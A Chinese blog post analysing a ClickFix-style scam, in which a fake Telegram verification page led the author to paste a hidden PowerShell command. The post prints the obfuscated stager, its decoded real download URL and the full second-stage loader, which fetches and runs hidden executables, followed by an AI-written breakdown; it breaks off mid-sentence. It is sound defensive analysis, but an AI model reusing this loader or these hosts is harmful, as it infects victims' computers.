    <content type="html"><![CDATA[<p>&#x6CA1;&#x60F3;&#x5230;&#x6709;&#x4E00;&#x5929;&#x6211;&#x7684;&#x7535;&#x8111;&#x771F;&#x7684;&#x4F1A;&#x4E2D;&#x6BD2;</p><p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x8BB0;&#x5F55;&#x4E86;&#x4F5C;&#x8005;&#x906D;&#x9047;&#x7684;&#x8FDC;&#x7A0B;&#x4EE3;&#x7801;&#x6267;&#x884C;(RCE)&#x653B;&#x51FB;&#x8FC7;&#x7A0B;&#xFF0C;&#x63ED;&#x793A;&#x4E86;&#x9A97;&#x5B50;&#x5982;&#x4F55;&#x901A;&#x8FC7;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x9AD8;&#x4EFF;&#x8D26;&#x53F7;&#x548C;&#x865A;&#x5047;Telegram&#x9A8C;&#x8BC1;&#x9875;&#x9762;&#x4F20;&#x64AD;&#x6076;&#x610F;&#x4EE3;&#x7801;&#x3002;&#x6587;&#x7AE0;&#x6DF1;&#x5165;&#x5206;&#x6790;&#x4E86;PowerShell&#x6DF7;&#x6DC6;&#x811A;&#x672C;&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#xFF0C;&#x5305;&#x62EC;Base64&#x7F16;&#x7801;&#x9690;&#x85CF;&#x7684;&#x6076;&#x610F;URL&#x3001;&#x81EA;&#x52A8;&#x4E0B;&#x8F7D;&#x6267;&#x884C;&#x673A;&#x5236;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x4E8B;&#x4EF6;&#x67E5;&#x770B;&#x5668;&#x8FFD;&#x8E2A;&#x653B;&#x51FB;&#x75D5;&#x8FF9;&#xFF0C;&#x4E3A;&#x8BFB;&#x8005;&#x63D0;&#x4F9B;&#x7F51;&#x7EDC;&#x5B89;&#x5168;&#x9632;&#x8303;&#x7684;&#x5B9E;&#x6218;&#x6848;&#x4F8B;&#x3002;</p><span id="more"></span><p>&#x8D77;&#x56E0;&#x662F;&#x5728; X &#x4E0A;&#x5173;&#x6CE8;&#x7684;&#x4E00;&#x4E2A;&#x8D22;&#x7ECF;&#x8D26;&#x53F7;&#xFF0C;&#x9A97;&#x5B50;&#x505A;&#x4E86;&#x4E00;&#x4E2A;&#x5B83;&#x7684;&#x9AD8;&#x4EFF;&#x5C0F;&#x53F7;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x6B63;&#x53F7;&#x7684;&#x63A8;&#x6587;&#x4E0B;&#x9762;&#x53D1;&#x9001; Telegram group &#x94FE;&#x63A5;&#xFF0C;&#x8FDB;&#x5165; Telegram &#x540E;&#x9700;&#x8981;&#x70B9;&#x51FB;&#x4E86; Safeguard &#x8FDB;&#x884C;&#x9A8C;&#x8BC1;&#xFF0C;&#x4F46;&#x662F;&#x8FD9;&#x4E2A;&#x5176;&#x5B9E;&#x662F;&#x5047;&#x7684;&#xFF0C;&#x5728;&#x51E0;&#x6B21;&#x9A8C;&#x8BC1;&#x5931;&#x8D25;&#x540E;&#xFF0C;&#x4F1A;&#x5F39;&#x51FA;&#x63D0;&#x793A;&#xFF0C;&#x5F15;&#x5BFC;&#x7528;&#x6237;&#x5728; PC &#x7AEF;&#x8FDB;&#x884C;&#x518D;&#x6B21;&#x9A8C;&#x8BC1;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250202170816.png" alt="image.png"></p><h2 id="&#x9A97;&#x5C40;&#x5206;&#x6790;">&#x9A97;&#x5C40;&#x5206;&#x6790;</h2><p>&#x4E0B;&#x9762;&#x5C31;&#x662F;&#x771F;&#x6B63;&#x5F00;&#x59CB;&#x8FDB;&#x5165;&#x9A97;&#x5B50;&#x7684;&#x5708;&#x5957;&#x7684;&#x65F6;&#x523B;&#xFF1A;<br>Step 2 &#x5B9E;&#x9645;&#x4E0A;&#x7C98;&#x8D34;&#x4E86;&#x4E00;&#x6BB5;&#x6076;&#x610F;&#x4EE3;&#x7801;&#xFF1A;</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#xFF1A; powershell <span class="literal">-w</span> <span class="keyword">hidden</span> <span class="literal">-c</span> <span class="variable">$r</span>=<span class="string">&apos;0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa&apos;</span>;<span class="variable">$u</span>=(<span class="variable">$r</span>[-<span class="number">1</span><span class="type">..</span>-(<span class="variable">$r</span><span class="type">.Length</span>)]<span class="operator">-join</span> <span class="string">&apos;&apos;</span>);&amp;(<span class="variable">$u</span>|%{&amp;(<span class="string">&apos;iwr&apos;</span>) ([<span class="type">Text.Encoding</span>]::UTF8.GetString([<span class="type">Convert</span>]::FromBase64String(<span class="variable">$_</span>)))|&amp;(<span class="string">&apos;iex&apos;</span>)}); <span class="comment"># &#x2800;Telegram&#x2800;&#x2800;</span></span><br></pre></td></tr></table></figure><p>&#x5728;&#x8868;&#x9762;&#x4E0A;&#x770B;&#xFF0C;&#x53EA;&#x662F;&#x901A;&#x8FC7; Powershell &#x8FD0;&#x884C;&#x4E86; Telegram &#x7A0B;&#x5E8F;&#xFF0C;&#x5176;&#x5B9E;&#x4E0A;&#x662F;&#x6CE8;&#x5165;&#x4E86;&#x4E00;&#x6BB5;&#x6076;&#x610F;&#x4EE3;&#x7801;&#xFF0C;&#x5E76;&#x4E14;&#x9690;&#x85CF;&#x4E86;&#x6267;&#x884C;&#x8FC7;&#x7A0B;&#x3002;</p><p>&#x6B65;&#x9AA4;&#x4E00;&#xFF1A;&#x9690;&#x85CF;PowerShell&#x7A97;&#x53E3;</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell <span class="literal">-w</span> <span class="keyword">hidden</span> <span class="literal">-c</span></span><br></pre></td></tr></table></figure><p>&#x6B65;&#x9AA4;&#x4E8C;&#xFF1A;&#x5B57;&#x7B26;&#x4E32;&#x53CD;&#x8F6C;&#x8FD8;&#x539F;Base64</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$r</span>=<span class="string">&apos;0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa&apos;</span>;</span><br><span class="line"><span class="variable">$u</span>=(<span class="variable">$r</span>[-<span class="number">1</span><span class="type">..</span>-(<span class="variable">$r</span><span class="type">.Length</span>)] <span class="operator">-join</span> <span class="string">&apos;&apos;</span>);</span><br></pre></td></tr></table></figure><p>&#x8FD8;&#x539F;&#x540E;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#x662F;&#xFF1A;<br>&#x201C;aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0&#x201D;</p><p>&#x6B65;&#x9AA4;&#x4E09;&#xFF1A;&#x89E3;&#x7801;&#x771F;&#x5B9E;&#x7684;URL</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[<span class="type">Text.Encoding</span>]::UTF8.GetString([<span class="type">Convert</span>]::FromBase64String(<span class="string">&quot;aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0&quot;</span>))</span><br><span class="line">&gt;&gt;</span><br><span class="line">https://<span class="number">1</span>j59lm2r1w46.com/haqi/sxtxTdwl.txt</span><br></pre></td></tr></table></figure><p>&#x6240;&#x4EE5;&#x771F;&#x5B9E; URL &#x662F;&#xFF1A;<a href="https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt">https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt</a></p><p>&#x6B65;&#x9AA4;&#x56DB;&#xFF1A;&#x4E0B;&#x8F7D;&#x5E76;&#x6267;&#x884C;&#x811A;&#x672C;&#xFF1A;</p><p>iwr&#xFF1A;Invoke-WebRequest &#x522B;&#x540D;&#xFF0C;&#x4E0B;&#x8F7D; URL&#x5185;&#x5BB9;&#x3002;</p><p>iex&#xFF1A;Invoke-Expression &#x522B;&#x540D;&#xFF0C;&#x76F4;&#x63A5;&#x6267;&#x884C;&#x4E0B;&#x8F7D;&#x7684;&#x811A;&#x672C;&#x3002;</p><hr><p>&#x901A;&#x8FC7;&#x67E5;&#x770B; Powershell &#x7684;&#x6267;&#x884C;&#x65E5;&#x5FD7;&#xFF1A;</p><p>&#x6253;&#x5F00;&#x4E8B;&#x4EF6;&#x67E5;&#x770B;&#x5668;&#xFF1A;win + R -&gt; eventvwr.msc</p><p>&#x9009;&#x62E9;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x548C;&#x670D;&#x52A1;&#x65E5;&#x5FD7; -&gt; Microsoft -&gt; Windows -&gt; PowerShell<br>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x53EF;&#x7591;&#x7684;&#x6267;&#x884C;&#x8BB0;&#x5F55;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250202220109.png" alt="image.png"></p><p>&#x5176;&#x6267;&#x884C;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line">&#x6B63;&#x5728;&#x521B;&#x5EFA; Scriptblock &#x6587;&#x672C;(&#x5DF2;&#x5B8C;&#x6210; <span class="number">1</span>&#xFF0C;&#x5171; <span class="number">1</span>):</span><br><span class="line"><span class="built_in">Add-Type</span> <span class="string">@&quot;</span></span><br><span class="line"><span class="string">using System;</span></span><br><span class="line"><span class="string">using System.Runtime.InteropServices;</span></span><br><span class="line"><span class="string">public class W {</span></span><br><span class="line"><span class="string">    [DllImport(&quot;kernel32.dll&quot;)]</span></span><br><span class="line"><span class="string">    public static extern IntPtr GetConsoleWindow();</span></span><br><span class="line"><span class="string">    [DllImport(&quot;user32.dll&quot;)]</span></span><br><span class="line"><span class="string">    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);</span></span><br><span class="line"><span class="string">}</span></span><br><span class="line"><span class="string">&quot;@</span></span><br><span class="line"><span class="variable">$consoleHandle</span> = [<span class="type">W</span>]::GetConsoleWindow()</span><br><span class="line">[<span class="type">W</span>]::ShowWindow(<span class="variable">$consoleHandle</span>, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">PerformSystemCheck</span></span> {</span><br><span class="line">    <span class="variable">$components</span> = <span class="selector-tag">@</span>(<span class="string">&quot;Processor&quot;</span>, <span class="string">&quot;Memory&quot;</span>, <span class="string">&quot;Disk&quot;</span>, <span class="string">&quot;Network&quot;</span>, <span class="string">&quot;Services&quot;</span>)</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$component</span> <span class="keyword">in</span> <span class="variable">$components</span>) {</span><br><span class="line">        [<span class="built_in">void</span>](<span class="variable">$component</span> <span class="operator">-match</span> <span class="string">&quot;.*&quot;</span>)</span><br><span class="line">        <span class="built_in">Start-Sleep</span> <span class="literal">-Milliseconds</span> (<span class="built_in">Get-Random</span> <span class="literal">-Minimum</span> <span class="number">50</span> <span class="literal">-Maximum</span> <span class="number">150</span>)</span><br><span class="line">    }</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$true</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">GenerateSystemReport</span></span> {</span><br><span class="line">    <span class="variable">$timestamp</span> = <span class="built_in">Get-Date</span> <span class="literal">-Format</span> <span class="string">&quot;yyyy-MM-dd HH:mm:ss&quot;</span></span><br><span class="line">    <span class="variable">$status</span> = <span class="selector-tag">@</span>(<span class="string">&quot;Healthy&quot;</span>, <span class="string">&quot;Warning&quot;</span>, <span class="string">&quot;Critical&quot;</span>) | <span class="built_in">Get-Random</span></span><br><span class="line">    [<span class="type">PSCustomObject</span>]<span class="selector-tag">@</span>{</span><br><span class="line">        TimeStamp = <span class="variable">$timestamp</span></span><br><span class="line">        SystemStatus = <span class="variable">$status</span></span><br><span class="line">        CheckedComponents = <span class="string">&quot;Processor, Memory, Disk&quot;</span></span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">DecodeData</span></span> {</span><br><span class="line">    <span class="keyword">param</span> ([<span class="built_in">string</span>]<span class="variable">$EncodedString</span>, [<span class="built_in">bool</span>]<span class="variable">$Reverse</span> = <span class="variable">$false</span>)</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$Reverse</span>) {</span><br><span class="line">        <span class="variable">$EncodedString</span> = (<span class="variable">$EncodedString</span>[-<span class="number">1</span><span class="type">..</span>-(<span class="variable">$EncodedString</span><span class="type">.Length</span>)] <span class="operator">-join</span> <span class="string">&apos;&apos;</span>)</span><br><span class="line">    }</span><br><span class="line">    [<span class="type">System.Text.Encoding</span>]::UTF8.GetString([<span class="type">Convert</span>]::FromBase64String(<span class="variable">$EncodedString</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">DownloadAndExecute</span></span> {</span><br><span class="line">    <span class="keyword">param</span> ([<span class="built_in">hashtable</span>]<span class="variable">$Resource</span>)</span><br><span class="line"></span><br><span class="line">    <span class="variable">$url</span> = DecodeData <span class="variable">$Resource</span>.u <span class="variable">$true</span></span><br><span class="line">    <span class="variable">$zipFile</span> = DecodeData <span class="variable">$Resource</span>.z</span><br><span class="line">    <span class="variable">$extractDir</span> = DecodeData <span class="variable">$Resource</span>.x</span><br><span class="line">    <span class="variable">$exeFile</span> = DecodeData <span class="variable">$Resource</span>.e</span><br><span class="line"></span><br><span class="line">    <span class="variable">$tempZipPath</span> = <span class="built_in">Join-Path</span> <span class="variable">$env:TEMP</span> <span class="variable">$zipFile</span></span><br><span class="line">    <span class="variable">$uniqueExtractPath</span> = <span class="built_in">Join-Path</span> <span class="variable">$env:TEMP</span> (<span class="variable">$extractDir</span> + <span class="string">&quot;_&quot;</span> + (<span class="built_in">Get-Random</span> <span class="literal">-Minimum</span> <span class="number">1000</span> <span class="literal">-Maximum</span> <span class="number">9999</span>))</span><br><span class="line"></span><br><span class="line">    <span class="built_in">Invoke-WebRequest</span> <span class="literal">-Uri</span> <span class="variable">$url</span> <span class="literal">-OutFile</span> <span class="variable">$tempZipPath</span> <span class="literal">-UseBasicParsing</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">Add-Type</span> <span class="literal">-AssemblyName</span> System.IO.Compression.FileSystem</span><br><span class="line">    [<span class="type">System.IO.Compression.ZipFile</span>]::ExtractToDirectory(<span class="variable">$tempZipPath</span>, <span class="variable">$uniqueExtractPath</span>)</span><br><span class="line"></span><br><span class="line">    <span class="variable">$exePath</span> = <span class="built_in">Join-Path</span> <span class="variable">$uniqueExtractPath</span> <span class="variable">$exeFile</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">Test-Path</span> <span class="variable">$exePath</span>) {</span><br><span class="line">        <span class="built_in">Start-Process</span> <span class="literal">-FilePath</span> <span class="variable">$exePath</span> <span class="literal">-WindowStyle</span> <span class="keyword">Hidden</span> <span class="literal">-ArgumentList</span> <span class="string">&quot;-ExecutionPolicy Bypass&quot;</span></span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="built_in">Start-Sleep</span> <span class="literal">-Seconds</span> (<span class="built_in">Get-Random</span> <span class="literal">-Minimum</span> <span class="number">10</span> <span class="literal">-Maximum</span> <span class="number">20</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">PerformSystemCheck &gt; <span class="variable">$null</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$resources</span> = <span class="selector-tag">@</span>(</span><br><span class="line">    <span class="selector-tag">@</span>{u=<span class="string">&quot;=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa&quot;</span>; z=<span class="string">&quot;ZG93bmxvYWQxLnppcA==&quot;</span>; x=<span class="string">&quot;ZXh0cmFjdGVkNA==&quot;</span>; e=<span class="string">&quot;UVFQbGF5ZXIuZXhl&quot;</span>},</span><br><span class="line">    <span class="selector-tag">@</span>{u=<span class="string">&quot;=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa&quot;</span>; z=<span class="string">&quot;ZG93bmxvYWQ2LnppcA==&quot;</span>; x=<span class="string">&quot;ZXh0cmFjdGl0Mg==&quot;</span>; e=<span class="string">&quot;RERNU2VydmljZS5leGU=&quot;</span>}</span><br><span class="line">)</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$resource</span> <span class="keyword">in</span> <span class="variable">$resources</span>) {</span><br><span class="line">    <span class="keyword">try</span> {</span><br><span class="line">        DownloadAndExecute <span class="literal">-Resource</span> <span class="variable">$resource</span></span><br><span class="line"></span><br><span class="line">        GenerateSystemReport | <span class="built_in">Out-Null</span></span><br><span class="line">        <span class="built_in">Start-Sleep</span> <span class="literal">-Milliseconds</span> (<span class="built_in">Get-Random</span> <span class="literal">-Minimum</span> <span class="number">100</span> <span class="literal">-Maximum</span> <span class="number">500</span>)</span><br><span class="line">    } <span class="keyword">catch</span> {</span><br><span class="line">        <span class="built_in">Write-Warning</span> <span class="string">&quot;An error occurred while processing a resource: <span class="variable">$_</span>&quot;</span></span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">PerformCleanup</span></span> {</span><br><span class="line">    <span class="built_in">Start-Sleep</span> <span class="literal">-Milliseconds</span> (<span class="built_in">Get-Random</span> <span class="literal">-Minimum</span> <span class="number">100</span> <span class="literal">-Maximum</span> <span class="number">300</span>)</span><br><span class="line">    [<span class="built_in">void</span>](<span class="built_in">Get-ChildItem</span> <span class="literal">-Path</span> <span class="variable">$env:TEMP</span> <span class="literal">-Filter</span> <span class="string">&quot;*.tmp&quot;</span> <span class="literal">-Recurse</span> <span class="literal">-ErrorAction</span> SilentlyContinue)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">PerformCleanup &gt; <span class="variable">$null</span></span><br><span class="line"><span class="comment"># mm3U8vk8W71sbYixCWsU3D2Aicp98rCoarHbvk7gLHbfOI2mTIvvsnUQJm689A8JGHQWJkHCM4z1iBfLiyXnNhnXSzqODHOYyWGsoCXQSJdh16gqyME42ZIC9aoLZpjcmTNNMldwwjqkyxyf86J9y6btp0WhiOj9VWzuKc6g7SZSZCeLCzdzQTfNnl2UtkbV3YUT3NwbywPeJ0UK8sZjcDoYt4JuCucoVF3dpRTxWi2nIihZSDnpeeRFs0vn1hEq</span></span><br><span class="line"></span><br><span class="line">ScriptBlock ID: <span class="number">13910</span>ff5<span class="literal">-709a-4b06-b5ce-2638af6b7d67</span></span><br><span class="line">&#x8DEF;&#x5F84;: </span><br></pre></td></tr></table></figure><p>&#x4EE5;&#x4E0B;&#x662F; Deepseek &#x5BF9;&#x5B83;&#x7684;&#x5206;&#x6790;&#x3002;</p><p>&#x8FD9;&#x6BB5;PowerShell&#x811A;&#x672C;&#x662F;&#x4E00;&#x4E2A;&#x5177;&#x6709;&#x6F5C;&#x5728;&#x6076;&#x610F;&#x884C;&#x4E3A;&#x7684;&#x8FDC;&#x7A0B;&#x4EE3;&#x7801;&#x6267;&#x884C;&#x7A0B;&#x5E8F;&#xFF0C;&#x5176;&#x4E3B;&#x8981;&#x529F;&#x80FD;&#x662F;&#x9690;&#x853D;&#x5730;&#x4E0B;&#x8F7D;&#x5E76;&#x8FD0;&#x884C;&#x6076;&#x610F;&#x8F6F;&#x4EF6;&#x3002;&#x4EE5;&#x4E0B;&#x662F;&#x8BE6;&#x7EC6;&#x5206;&#x6790;&#xFF1A;</p><p><strong>&#x6838;&#x5FC3;&#x6076;&#x610F;&#x884C;&#x4E3A;&#x89E3;&#x6790;</strong></p><ol><li class="lvl-3"><p>&#x9690;&#x85CF;&#x63A7;&#x5236;&#x53F0;&#x7A97;&#x53E3;</p></li></ol><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="built_in">Add-Type</span> &#x8C03;&#x7528;C<span class="comment">#&#x4EE3;&#x7801;&#xFF0C;&#x901A;&#x8FC7;Windows API&#x9690;&#x85CF;PowerShell&#x7A97;&#x53E3;</span></span><br></pre></td></tr></table></figure><blockquote><p>&#x4F7F;&#x7528;user32.dll&#x7684;ShowWindow&#x51FD;&#x6570;&#x5C06;&#x63A7;&#x5236;&#x53F0;&#x7A97;&#x53E3;&#x8BBE;&#x7F6E;&#x4E3A;&#x9690;&#x85CF;&#x6A21;&#x5F0F;&#xFF08;&#x53C2;&#x6570;0&#xFF09;&#xFF0C;&#x907F;&#x514D;&#x7528;&#x6237;&#x5BDF;&#x89C9;&#x3002;</p></blockquote><ol start="2"><li class="lvl-3"><p>&#x4F2A;&#x88C5;&#x7684;&#x7CFB;&#x7EDF;&#x68C0;&#x67E5;&#xFF08;&#x6DF7;&#x6DC6;&#x89C6;&#x542C;&#xFF09;</p></li></ol><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PerformSystemCheck &#x548C; GenerateSystemReport &#x51FD;&#x6570;</span><br></pre></td></tr></table></figure><blockquote><p>&#x6A21;&#x62DF;&#x7CFB;&#x7EDF;&#x5065;&#x5EB7;&#x68C0;&#x67E5;&#xFF08;&#x5904;&#x7406;&#x5668;&#x3001;&#x5185;&#x5B58;&#x3001;&#x78C1;&#x76D8;&#x7B49;&#xFF09;&#xFF0C;&#x751F;&#x6210;&#x865A;&#x5047;&#x62A5;&#x544A;&#xFF08;&#x968F;&#x673A;&#x72B6;&#x6001;Healthy/Warning/Critical&#xFF09;&#xFF0C;&#x76EE;&#x7684;&#x662F;&#x63A9;&#x76D6;&#x771F;&#x5B9E;&#x76EE;&#x7684;&#x3002;</p></blockquote><ol start="3"><li class="lvl-3"><p>&#x6570;&#x636E;&#x89E3;&#x7801;&#x4E0E;&#x5B57;&#x7B26;&#x4E32;&#x53CD;&#x8F6C;</p></li></ol><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DecodeData &#x51FD;&#x6570;&#xFF1A;Base64&#x89E3;&#x7801; + &#x53EF;&#x9009;&#x5B57;&#x7B26;&#x4E32;&#x53CD;&#x8F6C;</span><br></pre></td></tr></table></figure><blockquote><p>&#x7528;&#x4E8E;&#x89E3;&#x7801;&#x6DF7;&#x6DC6;&#x540E;&#x7684;URL&#x548C;&#x6587;&#x4EF6;&#x540D;&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;</p></blockquote><p>u=&#x201C;=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa&#x201D; &#x89E3;&#x7801;&#x540E;&#x4F1A;&#x5F97;&#x5230;&#x4E00;&#x4E2A;&#x771F;&#x5B9E;&#x7684;&#x4E0B;&#x8F7D;&#x5730;&#x5740;&#x3002;</p><ol start="4"><li class="lvl-3"><p>&#x6076;&#x610F;&#x6587;&#x4EF6;&#x4E0B;&#x8F7D;&#x4E0E;&#x6267;&#x884C;</p></li></ol><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">DownloadAndExecute &#x51FD;&#x6570;&#x6838;&#x5FC3;&#x6D41;&#x7A0B;&#xFF1A;</span><br><span class="line"><span class="number">1</span>. &#x89E3;&#x7801;&#x8FDC;&#x7A0B;&#x8D44;&#x6E90;URL&#x3001;ZIP&#x6587;&#x4EF6;&#x540D;&#x3001;&#x89E3;&#x538B;&#x76EE;&#x5F55;&#x3001;&#x76EE;&#x6807;EXE</span><br><span class="line"><span class="number">2</span>. &#x4ECE;&#x6307;&#x5B9A;URL&#x4E0B;&#x8F7D;ZIP&#x6587;&#x4EF6;&#x5230;&#x4E34;&#x65F6;&#x76EE;&#x5F55;&#xFF08;%TEMP%&#xFF09;</span><br><span class="line"><span class="number">3</span>. &#x89E3;&#x538B;ZIP&#x5E76;&#x4F7F;&#x7528;&#x9690;&#x85CF;&#x7A97;&#x53E3;&#x8FD0;&#x884C;&#x5176;&#x4E2D;&#x7684;EXE&#x6587;&#x4EF6;&#xFF08;&#x53C2;&#x6570;`-WindowStyle <span class="keyword">Hidden</span>`&#xFF09;</span><br><span class="line"><span class="number">4</span>. &#x968F;&#x673A;&#x7761;&#x7720;&#xFF08;<span class="number">10</span><span class="literal">-20</span>&#x79D2;&#xFF09;&#x4EE5;&#x89C4;&#x907F;&#x68C0;&#x6D4B;</span><br></pre></td></tr></table></figure><ol start="5"><li class="lvl-3"><p>&#x8D44;&#x6E90;&#x5B9A;&#x4E49;&#x4E0E;&#x653B;&#x51FB;&#x94FE;</p></li></ol><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$resources</span> &#x6570;&#x7EC4;&#x5305;&#x542B;&#x4E24;&#x4E2A;&#x52A0;&#x5BC6;&#x7684;&#x4E0B;&#x8F7D;&#x4EFB;&#x52A1;&#xFF1A;</span><br><span class="line">- &#x793A;&#x4F8B;&#x89E3;&#x7801;&#x7ED3;&#x679C;&#xFF08;&#x9700;&#x5B9E;&#x9645;&#x8FD0;&#x7B97;&#xFF09;&#xFF1A;</span><br><span class="line">  - URL&#x53EF;&#x80FD;&#x6307;&#x5411;&#x6076;&#x610F;&#x670D;&#x52A1;&#x5668;&#xFF08;&#x5982;&#xFF1A;`hxxp://malware.example/payload1.zip`&#xFF09;</span><br><span class="line">  - ZIP&#x6587;&#x4EF6;&#x540D;&#xFF1A;`download1.zip`</span><br><span class="line">  - &#x89E3;&#x538B;&#x76EE;&#x5F55;&#xFF1A;`extracted4`</span><br><span class="line">  - &#x6267;&#x884C;&#x7684;EXE&#xFF1A;`QQPlayer.exe`&#xFF08;&#x53EF;&#x80FD;&#x4E3A;&#x4F2A;&#x88C5;&#x540D;&#x79F0;&#x7684;&#x6728;&#x9A6C;&#xFF09;</span><br></pre></td></tr></table></figure><ol start="6"><li class="lvl-3"><p>&#x75D5;&#x8FF9;&#x6E05;&#x7406;</p></li></ol><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PerformCleanup &#x51FD;&#x6570;</span><br></pre></td></tr></table></figure><blockquote><p>&#x6E05;&#x7406;&#x4E34;&#x65F6;&#x76EE;&#x5F55;&#x4E2D;&#x7684;.tmp&#x6587;&#x4EF6;&#xFF08;&#x53EF;&#x80FD;&#x5220;&#x9664;&#x4E0B;&#x8F7D;&#x7684;ZIP&#x548C;&#x89E3;&#x538B;&#x5185;&#x5BB9;&#xFF09;&#x3002;</p></blockquote><p>&#x53E6;&#x5916;&#x4EE3;&#x7801;&#x4E2D;&#x5B9A;&#x4E49;&#x4E86;resources &#x53D8;&#x91CF;&#xFF0C;&#x5B83;&#x4EEC;&#x90FD;&#x662F;&#x88AB;&#x52A0;&#x5BC6;&#x4E86;, &#x8BA9; Deepseek 